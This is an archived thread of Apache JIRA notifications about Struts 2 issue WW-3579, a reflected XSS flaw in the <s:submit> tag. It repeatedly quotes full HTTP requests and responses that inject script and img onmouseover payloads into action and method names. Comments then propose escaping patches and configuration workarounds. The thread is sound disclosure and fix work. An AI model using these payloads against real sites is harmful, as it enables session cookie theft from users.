>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579 - 3.patch, WW-3579.patch, WW-35791-4.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Commented: (WW-3579) Struts 2 XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12999230#comment-12999230 ] 

Lukasz Lenart commented on WW-3579:
-----------------------------------

Did you test your second patch -  WW-3579 - 2.patch ?

> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579.patch, WW-3579.patch2
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Commented: (WW-3579) XSS vulnerability

Posted by "Marian Ventuneac (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12999149#comment-12999149 ] 

Marian Ventuneac commented on WW-3579:
--------------------------------------

Hi Lukasz,


After fiddling a bit with Maven, I got a custom built for XWork 2.2.1 including the changes suggested in WW-3579.patch.

However, this doesn't seem to fix the XSS issues - please see the test case below. If the XSS payload includes no JavaScript specific characters to be escaped, the XSS attack is still successful.

To ease the whole testing process, I run same project on Tomcar 6.0.32 with custom 500 error page (to replicate the original issue).


GET request (for XWork 2.2.1 with WW-3579.patch):

GET /home.html?action:login!cantLogin%3Cimg%20onmouseover%3djavascript:alert(1)%3E=Can%27t+login HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: JSESSIONID=EFE72ABCED6B9CF8B33BB3D3B3E576C9


HTTP response (for XWork 2.2.1 with WW-3579.patch):

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html
Date: Fri, 25 Feb 2011 00:01:06 GMT
Connection: close
Content-Length: 101

some_path.action.LoginAction.cantLogin<img onmouseover=javascript:alert(1)>()


I took the liberty to alter the original code of DefaultActionProxy class and to sanitize both method and actionName attributes using StringEscapeUtils.escapeHtml() method - please see WW-3579.patch2 attached.

The result for using same XSS payload is shown below:


HTTP response (for XWork 2.2.1 with WW-3579.patch2):

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html
Date: Thu, 24 Feb 2011 23:59:12 GMT
Connection: close
Content-Length: 107

some_path.action.LoginAction.cantLogin&lt;img onmouseover=javascript:alert(1)&gt;()


The attached patch WW-3579.patch2 also addresses the XSS issues affecting actionName attribute of DefaultActionProxy class, something which was missed by the first patch.


Any feedback on the suggested fixes is welcome.

Regards, 
Marian




> <s:submit> XSS vulnerability
> ----------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Issue Comment Edited: (WW-3579) XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12997750#comment-12997750 ] 

Lukasz Lenart edited comment on WW-3579 at 2/22/11 11:37 AM:
-------------------------------------------------------------

There are two workarounds:

1. disable Dynamic Method Invocation adding to struts.xml the line below:

<constant name="struts.enable.DynamicMethodInvocation" value="false" />

2. Second options is to define a custom global exception mapping in struts.xml, as below:

/* struts.xml */

        <global-results>
            <result name="error">/error.jsp</result>
        </global-results>

        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>

/* error.jsp */

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>

<html>
<head><title>Simple jsp page</title></head>
<body>
    <h3>Exception:</h3>
    <s:property value="exception"/>

    <h3>Stack trace:</h3>
    <pre>
        <s:property value="exceptionStack"/>
    </pre>
</body>
</html>


      was (Author: lukaszlenart):
    There are two workarounds:

1. disable Dynamic Method Invocation adding to struts.xml the line below:

<constant name="struts.enable.DynamicMethodInvocation" value="false" />

2. Second options is define a custom global exceptions mapping in struts.xml, as below:

/* struts.xml */

        <global-results>
            <result name="error">/error.jsp</result>
        </global-results>

        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>

/* error.jsp */

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>

<html>
<head><title>Simple jsp page</title></head>
<body>
    <h3>Exception:</h3>
    <s:property value="exception"/>

    <h3>Stack trace:</h3>
    <pre>
        <s:property value="exceptionStack"/>
    </pre>
</body>
</html>

  
> <s:submit> XSS vulnerability
> ----------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
